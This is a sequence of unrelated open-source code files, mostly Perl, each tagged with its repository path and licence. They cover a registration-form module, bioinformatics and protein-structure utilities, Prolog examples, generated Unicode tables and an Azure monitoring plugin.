my $client = setClient($Data->{'clientValues'});
my $ue_client = unescape($client);
my $dbh = $Data->{'db'};
my $RegoFormObj = RegoFormObj->load(db=>$dbh, ID=>$form_id);
my $assoc_id = $RegoFormObj->getValue('intAssocID');
my $club_id = $RegoFormObj->getValue('intClubID');
my $nationalForm = $RegoFormObj->isNodeForm();
my $new_char = $RegoFormObj->getValue('intNewBits') || '';
my $ren_char = $RegoFormObj->getValue('intRenewalBits') || '';
my $pay_char = $RegoFormObj->getValue('intPaymentBits') || '';
my ($new_assoc, $new_club, $new_team, $new_member, $new_parents) = get_notif_bits($new_char);
my ($ren_assoc, $ren_club, $ren_team, $ren_member, $ren_parents) = get_notif_bits($ren_char);
my ($pay_assoc, $pay_club, $pay_team, $pay_member, $pay_parents) = get_notif_bits($pay_char);
my $new_notifs = [$new_assoc, $new_club, $new_team, $new_member, $new_parents];
my $ren_notifs = [$ren_assoc, $ren_club, $ren_team, $ren_member, $ren_parents];
my $pay_notifs = [$pay_assoc, $pay_club, $pay_team, $pay_member, $pay_parents];
my $ar_contacts = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, getregistrations=>1);
my $assoc_rego_contacts = get_emails_list($ar_contacts);
my $arCount = scalar(@$assoc_rego_contacts);
my $af_contacts = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, getpayments=>1);
my $assoc_finc_contacts = get_emails_list($af_contacts);
my $afCount = scalar(@$assoc_finc_contacts);
my $ap_contact = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, getprimary=>1);
my $assoc_primary_contact = get_emails_list($ap_contact, 1);
chop($assoc_primary_contact);
my $club_rego_contacts;
my $club_finc_contacts;
my $club_primary_contact;
if ($club_id > 0) {
my $cr_contacts = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, clubid=>$club_id, getregistrations=>1);
$club_rego_contacts = get_emails_list($cr_contacts);
my $cf_contacts = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, clubid=>$club_id, getpayments=>1);
$club_finc_contacts = get_emails_list($cf_contacts);
my $cp_contact = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, clubid=>$club_id, getprimary=>1);
$club_primary_contact = get_emails_list($cp_contact, 1);
chop($club_primary_contact);
}
my $crCount = (defined $club_rego_contacts ) ? scalar(@$club_rego_contacts) : 0;
my $cfCount = (defined $club_finc_contacts) ? scalar(@$club_finc_contacts) : 0;
my %template_data = (
formID => $form_id,
national => $nationalForm,
formType => $form_type,
clubID => $club_id,
newEmails => $new_notifs,
rnwEmails => $ren_notifs,
payEmails => $pay_notifs,
copyParents => 1,
registrations => 'Registrations',
arCount => $arCount,
arContacts => $assoc_rego_contacts,
aPrimaryContact => $assoc_primary_contact,
crCount => $crCount,
crContacts => $club_rego_contacts,
finance => 'Finance & Payments',
afCount => $afCount,
afContacts => $assoc_finc_contacts,
cfCount => $cfCount,
cfContacts => $club_finc_contacts,
cPrimaryContact => $club_primary_contact,
target => $Data->{'target'},
client => $ue_client,
action => 'A_ORF_notiu',
stepperHTML => $stepper_html,
stepperMode => $stepper_mode,
);
my $body = runTemplate($Data, \%template_data, 'regoform/backend/notifications.templ');
my $form_name = GetFormName($Data).' (#'.$form_id.')';
my $breadcrumbs = getBreadcrumbs($client, $stepper_mode, 'Edit', 'Notifications');
return ($body, $form_name, $breadcrumbs);
}
sub update_regoform_notifications {
my ($action, $Data) = @_;
my $cgi = new CGI;
my $form_id = $cgi->param('fID');
my $stepper_mode = $cgi->param('stepper');
my $new_assoc = $cgi->param('new_assoc') || 0;
my $new_club = $cgi->param('new_club') || 0;
my $new_team = $cgi->param('new_team') || 0;
my $new_member = $cgi->param('new_member') || 0;
my $new_parents = $cgi->param('new_parents') || 0;
my $new_char = pack_notif_bits($new_assoc, $new_club, $new_team, $new_member, $new_parents);
my $ren_assoc = $cgi->param('ren_assoc') || 0;
my $ren_club = $cgi->param('ren_club') || 0;
my $ren_team = $cgi->param('ren_team') || 0;
my $ren_member = $cgi->param('ren_member') || 0;
my $ren_parents = $cgi->param('ren_parents') || 0;
my $ren_char = pack_notif_bits($ren_assoc, $ren_club, $ren_team, $ren_member, $ren_parents);
my $pay_assoc = $cgi->param('pay_assoc') || 0;
my $pay_club = $cgi->param('pay_club') || 0;
my $pay_team = $cgi->param('pay_team') || 0;
my $pay_member = $cgi->param('pay_member') || 0;
my $pay_parents = $cgi->param('pay_parents') || 0;
my $pay_char = pack_notif_bits($pay_assoc, $pay_club, $pay_team, $pay_member, $pay_parents);
my $dbh = $Data->{'db'};
my $RegoFormObj = RegoFormObj->load(db=>$dbh, ID=>$form_id);
my $dbfields = 'dbfields';
$RegoFormObj->{$dbfields} = ();
$RegoFormObj->{$dbfields}{'intNewBits'} = $new_char;
$RegoFormObj->{$dbfields}{'intRenewalBits'} = $ren_char;
$RegoFormObj->{$dbfields}{'intPaymentBits'} = $pay_char;
$RegoFormObj->save();
my $subBody = qq[<div class="OKmsg">Notifications saved</div>];
return ($subBody, '', $stepper_mode, $form_id);
}
sub get_stepper_stuff {
my ($Data, $stepper_fid, $func_code) = @_;
my $cgi = new CGI;
my $form_id = 0;
my $stepper_html = '';
my $stepper_mode = '';
my $stepper_edit = 0;
my $stepper_inpt = '';
if ($stepper_fid) {
$form_id = $stepper_fid;
$stepper_mode = 'add';
}
else {
$form_id = $cgi->param('fID') || 0;
$stepper_mode = $cgi->param('stepper');
}
my $form_type = GetFormType($Data, 1, $form_id);
if ($stepper_mode) {
$stepper_edit = 1 if $stepper_mode eq 'edit';
$stepper_html = regoform_navigation($Data, $func_code, $form_id, $form_type, $stepper_edit);
$stepper_inpt = qq[<input type="hidden" name="stepper" value="$stepper_mode">];
}
return ($form_id, $form_type, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt);
}
sub GetFormType {
my ($Data, $return_rego_type, $formID) = @_;
my $cgi = new CGI;
$formID ||= $Data->{'RegoFormID'} || $cgi->param('fID') || $cgi->param('formID') || 0;
$formID = untaint_number($formID);
my $statement = q[SELECT intRegoType FROM tblRegoForm WHERE intRegoFormID = ?];
my $query = $Data->{'db'}->prepare($statement);
$query->execute($formID);
my($regoType) = $query->fetchrow_array();
return $regoType if ($return_rego_type == 1);
if ($return_rego_type == 2) { #TODO: What is the 5th element meant to be?
return (q{}, 'Member to Association', 'Team to Association', 'Member to Team', 'Member to Club', '', 'Member to Program')[$regoType];
}
return 'Team' if ($regoType == $Defs::REGOFORM_TYPE_TEAM_ASSOC);
return 'Member';
}
sub GetFormName {
my ($Data, $formID) = @_;
my $cgi = new CGI;
$formID ||= $Data->{'RegoFormID'} || $cgi->param('fID') || $cgi->param('formID') || 0;
my $statement = q[SELECT strRegoFormName FROM tblRegoForm WHERE intRegoFormID = ?];
my $query = $Data->{'db'}->prepare($statement);
$query->execute($formID);
my($formName) = $query->fetchrow_array();
return $formName || 'Registration Form';
}
sub getBreadcrumbs {
my ($client, $stepper_mode, $aore, $step) = @_;
my $bcae = '';
if ($stepper_mode eq 'add') {
$bcae = 'Add New Form'
}
elsif ($stepper_mode eq 'edit') {
$bcae = 'Edit'
}
else {
$bcae = $aore;
}
my $breadcrumbs = HTML_breadcrumbs(['Registration Forms', 'main.cgi', {client => $client, a => 'A_ORF_r'}], [$bcae], [$step]);
return $breadcrumbs;
}
sub HTML_breadcrumbs {
my @html_links;
while ( my $link_params = shift ) {
push @html_links, HTML_link( @{ $link_params } );
}
my $cgi = new CGI;
return $cgi->div( { -class => 'config-bcrumbs', }, join(' » ', grep(/^.+$/, @html_links)),) ;
}
sub hidden_fields {
my $returnHTML;
my $cgi = new CGI;
while (@_) {
$returnHTML .= $cgi->hidden(-override => 1, -name => shift, -default => shift);
}
return $returnHTML;
}
sub getProductsTabOnly {
my ($Data) = @_;
my $productsTabOnly = 0;
$productsTabOnly = $Data->{'SystemConfig'}{'regoform_ProductsTabOnly'} if exists $Data->{'SystemConfig'}{'regoform_ProductsTabOnly'};
$productsTabOnly = $Data->{'SystemConfig'}{'AssocConfig'}{'regoform_ProductsTabOnly'} if exists $Data->{'SystemConfig'}{'AssocConfig'}{'regoform_ProductsTabOnly'};
$productsTabOnly = 0 if (exists $Data->{'SystemConfig'}{'regoform_ProductsTabOnly'} and $Data->{'clientValues'}{'authLevel'} == $Data->{'SystemConfig'}{'regoform_ProductsTabOnly'});
$productsTabOnly = 0 if (exists $Data->{'SystemConfig'}{'AssocConfig'}{'regoform_ProductsTabOnly'} and $Data->{'clientValues'}{'authLevel'} == $Data->{'SystemConfig'}{'AssocConfig'}{'regoform_ProductsTabOnly'});
$productsTabOnly = 1 if ($productsTabOnly > 1);
return $productsTabOnly;
}
sub nodeFormAddedConfig{
my ($Data, $formID, $cgi, $regoFormObj, $entityID, $entityTypeID) =@_;
my $dbh = $Data->{'db'};
RegoFormConfigAddedObj->delete(dbh=>$dbh, formID=>$formID, entityID=>$entityID, entityTypeID=>$entityTypeID);
my $stepper_mode = $cgi->param('stepper');
my $TermsCondHeader = param('tchdr') || '';
my $TermsCondText = param('tctext') || '';
my $TC_AgreeBox = param('tcagree') || 0;
my $st_insert = q[
INSERT INTO tblRegoFormConfigAdded (
intRegoFormID,
intEntityTypeID,
intEntityID,
strTermsCondHeader,
strTermsCondText,
intTC_AgreeBox
)
VALUES (?, ?, ?, ?, ?, ? )
];
my $qry= $Data->{'db'}->prepare($st_insert);
$qry->execute(
$formID, $entityTypeID ,$entityID, $TermsCondHeader,$TermsCondText,$TC_AgreeBox)
or query_error($st_insert);
my $subBody = ($DBI::err)
? qq[<div class="warningmsg">There was a problem changing the text</div>]
: qq[<div class="OKmsg">Messages saved</div>];
auditLog($formID, $Data, 'Update Text', 'Registration Form');
return ($subBody, '', $stepper_mode);
}
1;
| facascante/slimerp | fifs/web/RegoFormBuilder/RegoForm.pm | Perl | mit | 46,721 |
#!/usr/bin/perl -w
##
##
## Copyright 2000, University of Washington
## This document contains private and confidential information and
## its disclosure does not constitute publication. All rights are
## reserved by University of Washington, except those specifically
## granted by license.
##
##
## Initial Author: Dylan Chivian (dylan@lazy8.com)
## $Revision: 1.1.1.1 $
## $Date: 2003/09/05 01:47:28 $
## $Author: dylan $
##
##
###############################################################################
###############################################################################
package PDButil;
###############################################################################
###############################################################################
# conf
###############################################################################
#$width = 50;
#$spacing = 10;
###############################################################################
# init
###############################################################################
$| = 1; # don't buffer stdout
local %opts = &getCommandLineOptions ();
local $pdbfile = $opts{pdbfile};
local $chainOI = $opts{chain};
$pdbID = $pdbfile;
$pdbID =~ s!^.*?/?p?d?b?([^\.\/]+)\.[pe][dn][bt]\.?g?z?Z?$!$1!;
$pdbID =~ s/^(....)(.?)(.?).*/(lc$1).(uc$2).(uc$3)/e;
#$base_id = lc substr ($pdbID, 0, 4);
$chainOI = uc $chainOI;
###############################################################################
# main
###############################################################################
# read
#
@buf = &fileBufArray ($pdbfile);
$last_res_num = -10000;
$chainOI_found = undef;
$start_res_num = undef;
$stop_res_num = undef;
for ($i=0; $i <= $#buf; ++$i) {
last if ($chainOI_found &&
($buf[$i] =~ /^TER/ || $buf[$i] =~ /^ENDMDL/ || $buf[$i] =~ /^MODEL/));
if ($buf[$i] =~ /^ATOM/ || $buf[$i] =~ /^HETATM/) {
$chain = substr ($buf[$i], 21, 1);
$chain = ($chain eq ' ') ? '_' : uc $chain;
if (($chain eq '_' && $chainOI eq 'A') ||
($chain eq 'A' && $chainOI eq '_')) {
print STDERR "$0: WARNING: changing chain sought from $chainOI to $chain\n";
$chainOI = $chain;
}
next if ($chain ne $chainOI);
$chainOI_found = 'TRUE';
$atom_type = substr ($buf[$i], 12, 4);
if ($atom_type eq ' CA ') {
$res_num = substr ($buf[$i], 22, 5); # includes insertion code
$res_num =~ s/\s+//g;
if ($res_num ne $last_res_num) {
$last_res_num = $res_num;
if (! defined $start_res_num) {
$start_res_num = $res_num;
}
$stop_res_num = $res_num;
push (@fasta, &mapResCode (substr($buf[$i], 17, 3)));
}
}
}
}
# build fasta output
#
$outbuf = '';
#$outbuf .= ">$base_id$chainOI $start_res_num-$stop_res_num\n";
for ($i=0; $i <= $#fasta; ++$i) {
# if ($i % $width == 0 && $i != 0) {
# $outbuf .= "\n";
# }
# elsif ($i % $spacing == 0 && $i != 0) {
# $outbuf .= ' ';
# }
$outbuf .= $i+1;
$outbuf .= " ";
$outbuf .= $fasta[$i];
$outbuf .= " ";
$outbuf .= "\.\n";
}
$outbuf =~ s/\s+$//g;
$outbuf .= "\n";
# output
print $outbuf;
# exit
#
exit 0;
###############################################################################
# subs
###############################################################################
sub mapResCode {
local ($incode, $silent) = @_;
$incode = uc $incode;
my $newcode = undef;
my %one_to_three = ( 'G' => 'GLY',
'A' => 'ALA',
'V' => 'VAL',
'L' => 'LEU',
'I' => 'ILE',
'P' => 'PRO',
'C' => 'CYS',
'M' => 'MET',
'H' => 'HIS',
'F' => 'PHE',
'Y' => 'TYR',
'W' => 'TRP',
'N' => 'ASN',
'Q' => 'GLN',
'S' => 'SER',
'T' => 'THR',
'K' => 'LYS',
'R' => 'ARG',
'D' => 'ASP',
'E' => 'GLU',
'X' => 'XXX',
'0' => ' A',
'1' => ' C',
'2' => ' G',
'3' => ' T',
'4' => ' U'
);
my %three_to_one = ( 'GLY' => 'G',
'ALA' => 'A',
'VAL' => 'V',
'LEU' => 'L',
'ILE' => 'I',
'PRO' => 'P',
'CYS' => 'C',
'MET' => 'M',
'HIS' => 'H',
'PHE' => 'F',
'TYR' => 'Y',
'TRP' => 'W',
'ASN' => 'N',
'GLN' => 'Q',
'SER' => 'S',
'THR' => 'T',
'LYS' => 'K',
'ARG' => 'R',
'ASP' => 'D',
'GLU' => 'E',
' X' => 'X',
' A' => '0',
' C' => '1',
' G' => '2',
' T' => '3',
' U' => '4',
' +A' => '0',
' +C' => '1',
' +G' => '2',
' +T' => '3',
' +U' => '4',
# all of these are supposed to be handled by MODRES
# (but aren't always or aren't done properly)
'5HP' => 'Q',
'ABA' => 'C',
'AGM' => 'R',
'CEA' => 'C',
'CGU' => 'E',
'CME' => 'C',
'CSB' => 'C',
'CSE' => 'C',
'CSD' => 'C',
'CSO' => 'C',
'CSP' => 'C',
'CSS' => 'C',
'CSW' => 'C',
'CSX' => 'C',
'CXM' => 'M',
'CYM' => 'C',
'CYG' => 'C',
'DOH' => 'D',
'FME' => 'M',
'GL3' => 'G',
'HYP' => 'P',
'KCX' => 'K',
'LLP' => 'K',
'LYZ' => 'K',
'MEN' => 'N',
'MGN' => 'Q',
'MHS' => 'H',
'MIS' => 'S',
'MLY' => 'K',
'MSE' => 'M',
'NEP' => 'H',
'OCS' => 'C',
'PCA' => 'Q',
'PTR' => 'Y',
'SAC' => 'S',
'SEP' => 'S',
'SMC' => 'C',
'STY' => 'Y',
'SVA' => 'S',
'TPO' => 'T',
'TPQ' => 'Y',
'TRN' => 'W',
'TRO' => 'W',
'YOF' => 'Y',
'1MG' => 'X',
'2DA' => 'X',
'2PP' => 'X',
'4SC' => 'X',
'4SU' => 'X',
'5IU' => 'X',
'5MC' => 'X',
'5MU' => 'X',
'ACB' => 'X',
'ACE' => 'X',
'ACL' => 'X',
'ADD' => 'X',
'AHO' => 'X',
'AIB' => 'X',
'ALS' => 'X',
'ARM' => 'X',
'ASK' => 'X',
'ASX' => 'X', # NOT B, PREFER TOTAL AMBIGUITY
'BAL' => 'X',
'BE2' => 'X',
'CAB' => 'X',
'CBX' => 'X',
'CBZ' => 'X',
'CCC' => 'X',
'CHA' => 'X',
'CH2' => 'X',
'CH3' => 'X',
'CHG' => 'X',
'CPN' => 'X',
'CRO' => 'X',
'DAL' => 'X',
'DGL' => 'X',
'DOC' => 'X',
'DPN' => 'X',
'EXC' => 'X',
'EYS' => 'X',
'FGL' => 'X',
'FOR' => 'X',
'G7M' => 'X',
'GLQ' => 'X',
'GLX' => 'X', # NOT Z, PREFER TOTAL AMBIGUITY
'GLZ' => 'X',
'GTP' => 'X',
'H2U' => 'X',
'HAC' => 'X',
'HEM' => 'X',
'HMF' => 'X',
'HPB' => 'X',
'IAS' => 'X',
'IIL' => 'X',
'IPN' => 'X',
'LAC' => 'X',
'LYT' => 'X',
'LYW' => 'X',
'MAA' => 'X',
'MAI' => 'X',
'MHO' => 'X',
'MLZ' => 'X',
'NAD' => 'X',
'NAL' => 'X',
'NH2' => 'X',
'NIT' => 'X',
'NLE' => 'X',
'ODS' => 'X',
'OXY' => 'X',
'PHD' => 'X',
'PHL' => 'X',
'PNL' => 'X',
'PPH' => 'X',
'PPL' => 'X',
'PRN' => 'X',
'PSS' => 'X',
'PSU' => 'X',
'PVL' => 'X',
'PY2' => 'X',
'QND' => 'X',
'QUO' => 'X',
'SEC' => 'X',
'SEG' => 'X',
'SEM' => 'X',
'SET' => 'X',
'SIN' => 'X',
'SLE' => 'X',
'THC' => 'X',
'TPN' => 'X',
'TRF' => 'X',
'UNK' => 'X',
'VAS' => 'X',
'YRR' => 'X',
);
my %fullname_to_one = ( 'GLYCINE' => 'G',
'ALANINE' => 'A',
'VALINE' => 'V',
'LEUCINE' => 'L',
'ISOLEUCINE' => 'I',
'PROLINE' => 'P',
'CYSTEINE' => 'C',
'METHIONINE' => 'M',
'HISTIDINE' => 'H',
'PHENYLALANINE' => 'F',
'TYROSINE' => 'Y',
'TRYPTOPHAN' => 'W',
'ASPARAGINE' => 'N',
'GLUTAMINE' => 'Q',
'SERINE' => 'S',
'THREONINE' => 'T',
'LYSINE' => 'K',
'ARGININE' => 'R',
'ASPARTATE' => 'D',
'GLUTAMATE' => 'E',
'ASPARTIC ACID' => 'D',
'GLUTAMATIC ACID' => 'E',
'ASPARTIC_ACID' => 'D',
'GLUTAMATIC_ACID' => 'E',
'SELENOMETHIONINE' => 'M',
'SELENOCYSTEINE' => 'M',
'ADENINE' => '0',
'CYTOSINE' => '1',
'GUANINE' => '2',
'THYMINE' => '3',
'URACIL' => '4'
);
# map it
#
if (length $incode == 1) {
$newcode = $one_to_three{$incode};
}
elsif (length $incode == 3) {
$newcode = $three_to_one{$incode};
}
else {
$newcode = $fullname_to_one{$incode};
}
# check for weirdness
#
if (! defined $newcode) {
# &abort ("unknown residue '$incode'");
# print STDERR ("unknown residue '$incode' (mapping to 'Z')\n");
# $newcode = 'Z';
if (! $silent) {
print STDERR ("unknown residue '$incode' (mapping to 'X')\n");
}
$newcode = 'X';
}
elsif ($newcode eq 'X') {
if (! $silent) {
print STDERR ("strange residue '$incode' (seen code, mapping to 'X')\n");
}
}
return $newcode;
}
# getCommandLineOptions()
#
# desc: get the command line options
#
# args: none
#
# rets: \%opts pointer to hash of kv pairs of command line options
#
sub getCommandLineOptions {
use Getopt::Long;
local $usage = qq{usage: $0 -pdbfile <pdbfile> [-chain <chain>]};
# Get args
#
local %opts = ();
&GetOptions (\%opts, "pdbfile=s", "chain=s");
# Check for legal invocation
#
if (! defined $opts{pdbfile}) {
print STDERR "$usage\n";
exit -1;
}
&checkExistence ('f', $opts{pdbfile});
# defaults
$opts{chain} = '_' if (! defined $opts{chain});
return %opts;
}
###############################################################################
# util
###############################################################################
sub maxInt {
local ($v1, $v2) = @_;
return ($v1 > $v2) ? $v1 : $v2;
}
sub tidyDecimals {
my ($num, $decimal_places) = @_;
if ($num !~ /\./) {
$num .= '.' . '0' x $decimal_places;
$num =~ s/^0+//;
}
else {
if ($num =~ s/(.*\.\d{$decimal_places})(\d).*$/$1/) {
my $nextbit = $2;
if ($nextbit >= 5) {
my $flip = '0.' . '0' x ($decimal_places - 1) . '1';
$num += $flip;
}
}
$num =~ s/^0//;
my $extra_places = ($decimal_places + 1) - length $num;
$num .= '0' x $extra_places if ($extra_places > 0);
}
return $num;
}
sub distsq {
local @dims = @_;
local $v = 0;
foreach $dim (@dims) {
$v += $dim*$dim;
}
return $v;
}
sub logMsg {
local ($msg, $logfile) = @_;
if ($logfile) {
open (LOGFILE, ">".$logfile);
select (LOGFILE);
}
print $msg, "\n";
if ($logfile) {
close (LOGFILE);
select (STDOUT);
}
return 'true';
}
sub checkExistence {
local ($type, $path) = @_;
if ($type eq 'd') {
if (! -d $path) {
print STDERR "$0: dirnotfound: $path\n";
exit -3;
}
}
elsif ($type eq 'f') {
if (! -f $path) {
print STDERR "$0: filenotfound: $path\n";
exit -3;
}
}
}
sub abort {
local $msg = shift;
print STDERR "$0: $msg\n";
exit -2;
}
sub writeBufToFile {
($file, $bufptr) = @_;
if (! open (FILE, '>'.$file)) {
&abort ("$0: unable to open file $file for writing");
}
print FILE join ("\n", @{$bufptr}), "\n";
close (FILE);
return;
}
sub fileBufString {
local $file = shift;
local $oldsep = $/;
undef $/;
if ($file =~ /\.gz|\.Z/) {
if (! open (FILE, "gzip -dc $file |")) {
&abort ("$0: unable to open file $file for gzip -dc");
}
}
elsif (! open (FILE, $file)) {
&abort ("$0: unable to open file $file for reading");
}
local $buf = <FILE>;
close (FILE);
$/ = $oldsep;
return $buf;
}
sub fileBufArray {
local $file = shift;
local $oldsep = $/;
undef $/;
if ($file =~ /\.gz|\.Z/) {
if (! open (FILE, "gzip -dc $file |")) {
&abort ("$0: unable to open file $file for gzip -dc");
}
}
elsif (! open (FILE, $file)) {
&abort ("$0: unable to open file $file for reading");
}
local $buf = <FILE>;
close (FILE);
$/ = $oldsep;
@buf = split (/$oldsep/, $buf);
pop (@buf) if ($buf[$#buf] eq '');
return @buf;
}
###############################################################################
1; # package end
# end
###############################################################################
| jaumebonet/FoldFromLoopsTutorial | benchmark/scientific/interleukin/complete_structure/getBluePrintFromCoords.pl | Perl | mit | 12,336 |
package MovieWorld::Schema;
use base qw/DBIx::Class::Schema/;
__PACKAGE__->load_namespaces;
1; | betrakiss/MovieWorld | app/lib/MovieWorld/Schema.pm | Perl | mit | 96 |
#!/usr/bin/perl -w
use strict;
use Bio::AlignIO;
use Bio::DB::Fasta;
use Bio::Tools::Run::Alignment::Muscle;
my $sUsage = qq(
perl $0
<cluster file with chromosome assigned>
<all9line fasta file>
<output file>
);
die $sUsage unless @ARGV >= 3;
my ($cluster_file, $infasta, $output) = @ARGV;
my $gn_obj = Bio::DB::Fasta->new($infasta);
open (OUT, ">$output") or die;
my %ctg_homeologs = read_cluster_file($cluster_file);
foreach my $ctg (keys %ctg_homeologs)
{
my @sub_chrs = keys %{$ctg_homeologs{$ctg}};
next if @sub_chrs > 3;
foreach my $sub_chr (@sub_chrs)
{
my @seq_ids = @{$ctg_homeologs{$ctg}{$sub_chr}};
my $consensus = get_consensus($gn_obj, \@seq_ids);
print OUT ">", $ctg,":", substr($sub_chr,0,2), "\n";
print OUT $consensus, "\n";
}
}
close OUT;
# Subroutines
sub read_cluster_file
{
my $file = shift;
my %return;
open (IN, $file) or die "can't open file $file\n";
while (<IN>)
{
chomp;
# Kukri_mira1_c11075 Excalibur_mira1_c28699:3AL+Kukri_mira1_c11075:3DL+Kukri_mira1_c39215:3AL
my @t = split /\s+/, $_;
my @p = split /\+/, $t[1];
foreach (@p)
{
my @arr = split /:/, $_;
push @{$return{$t[0]}{substr($arr[1],0,2)}}, $arr[0] unless $arr[1] eq "N";
}
}
close IN;
return %return;
}
sub get_consensus
{
my ($gn, $lists) = @_;
if(@$lists == 1)
{
my $seq = $gn->get_Seq_by_id($lists->[0])->seq;
return $seq;
}
else
{
my $tmp_file = "tmp.fa";
open (T, ">$tmp_file") or die "can't open file $tmp_file\n";
foreach my $id (@$lists)
{
my $seq = $gn->get_Seq_by_id($id)->seq;
print T ">$id\n$seq\n";
}
close T;
my $aln_factory = Bio::Tools::Run::Alignment::Muscle->new();
my $aln = $aln_factory->align($tmp_file);
my $consensus = $aln->consensus_string();
return $consensus;
}
}
| swang8/Perl_scripts_misc | generate_homeologs_from_clusters_and_contigs.pl | Perl | mit | 1,787 |
%Source: Sterling, Shapiro - The Art of Prolog. Program 8.1 - Program 8.12.
%query:between(g,g,g).
between(I,J,I) :- I =< J.
between(I,J,K) :- I < J, I1 is I + 1, between(I1, J, K).
| ComputationWithBoundedResources/ara-inference | doc/tpdb_trs/Prolog/Art-of-prolog/program-8-5.pl | Perl | mit | 182 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 12.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or existence of this file are subject to change without notice. Don't
# use it directly. Use Unicode::UCD to access the Unicode character data
# base.
return <<'END';
V66
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131072
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177973
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183970
183984
191457
194560
195102
END
| operepo/ope | client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/Scx/Han.pl | Perl | mit | 903 |
/* Part of SWI-Prolog
Author: Jan Wielemaker
E-mail: J.Wielemaker@cs.vu.nl
WWW: http://www.swi-prolog.org
Copyright (C): 2014, VU University Amsterdam
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
As a special exception, if you link this library with other files,
compiled with a Free Software compiler, to produce an executable, this
library does not by itself cause the resulting executable to be covered
by the GNU General Public License. This exception does not however
invalidate any other reasons why the executable file might be covered by
the GNU General Public License.
*/
:- module(annotation,
[ annotation//1 % +object:compound
]).
/** <module> Annotation
@author Wouter Beek
@tbd Build annotation2post converter.
@version 2014/01
*/
:- use_module(generics).
:- use_module(library(http/html_head)).
:- use_module(library(http/html_write)).
:- use_module(library(http/http_dispatch)).
:- use_module(library(pldoc/doc_html), [object_ref//2]).
:- use_module(object_support).
:- use_module(post).
:- html_resource(css('annotation.css'),
[ requires([css('post.css')])
]).
:- multifile
prolog:doc_object_page_footer/2.
:- http_handler(root(annotation), annotation_process, [prefix]).
%% annotation_process(+Request)
%
% REST HTTP handler for /annotation/ID
%
% @tbd Where is this used for? This also seems to do a request
% on ourselves. We'd like to avoid that.
annotation_process(Request):-
memberchk(method(get), Request),
request_to_id(Request, annotation, Post), !,
post(Post, id, Id),
post(Post, about, Object),
object_label(Object, Label),
atomic_list_concat(['Annotation',Label], '--', Title),
reply_html_page(
wiki(Title),
title(Title),
\post(Id, [])).
annotation_process(Request):-
post_process(Request, annotation).
%% annotation(+Object)//
%
% Show annotations for Object.
annotation(Object) -->
{ ground(Object), !,
( prolog:doc_canonical_object(Object, Object2)
-> true
; Object2 = Object
),
find_posts(annotation, object_post(Object2), Ids)
},
html([\html_requires(css('annotation.css')),
\posts(annotation, Object2, Ids, [])
]).
annotation(_) --> [].
object_post(About, Id) :-
post(Id, object, About).
| TeamSPoon/logicmoo_workspace | packs_web/plweb/annotation.pl | Perl | mit | 2,956 |
#!perl -w
open F, 'dir /b/s *.pas|';
while(<F>){
chomp;
s/\.pas/.dcu/;
s/.+\\//;
$p = "..\\libs7\\lib\\dcu\\$_";
-f $p or next;
print "$p\n";
unlink $p;
}
close F;
@specials = qw~
okFramelist.dcu
~;
for (@specials){
$p = "..\\libs7\\lib\\dcu\\$_";
-f $p or next;
print "$p\n";
unlink $p;
}
| kadavris/ok-sklad | Production7/clear_libbed_dcus.pl | Perl | mit | 343 |
#! /usr/bin/perl -w
use strict;
sub format_money{
my $money = sprintf "%.2f", shift @_;
1 while $money =~ s/^(-?\d+)(\d{3})/$1,$2/;
$money =~ s/^(-?)/$1\$/;
$money;
}
print format_money(1234567890.1234567890);
# 我们为什么不能使用/g 修饰符来进行一个“全面的”查找- 替换,以防止使用容易混淆的 1 while 循环呢?我们不能用它,因
# 为我们是从小数点开始(向前),而非从字符串开始。如此将逗号加入数字,是不能仅仅使用 s///g 替换的
| yuweijun/learning-programming | language-perl/sprintf.pl | Perl | mit | 508 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 12.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or existence of this file are subject to change without notice. Don't
# use it directly. Use Unicode::UCD to access the Unicode character data
# base.
return <<'END';
V1638
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END
| operepo/ope | client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/GrBase/Y.pl | Perl | mit | 9,925 |
#
# Copyright 2021 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package cloud::azure::database::mysql::mode::memory;
use base qw(cloud::azure::custom::mode);
use strict;
use warnings;
sub get_metrics_mapping {
my ($self, %options) = @_;
my $metrics_mapping = {
'memory_percent' => {
'output' => 'Memory percent',
'label' => 'memory-usage',
'nlabel' => 'azmysql.memory.usage.percentage',
'unit' => '%',
'min' => '0',
'max' => '100'
}
};
return $metrics_mapping;
}
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options, force_new_perfdata => 1);
bless $self, $class;
$options{options}->add_options(arguments => {
'filter-metric:s' => { name => 'filter_metric' },
'resource:s' => { name => 'resource' },
'resource-group:s' => { name => 'resource_group' },
'resource-type:s' => { name => 'resource_type' }
});
return $self;
}
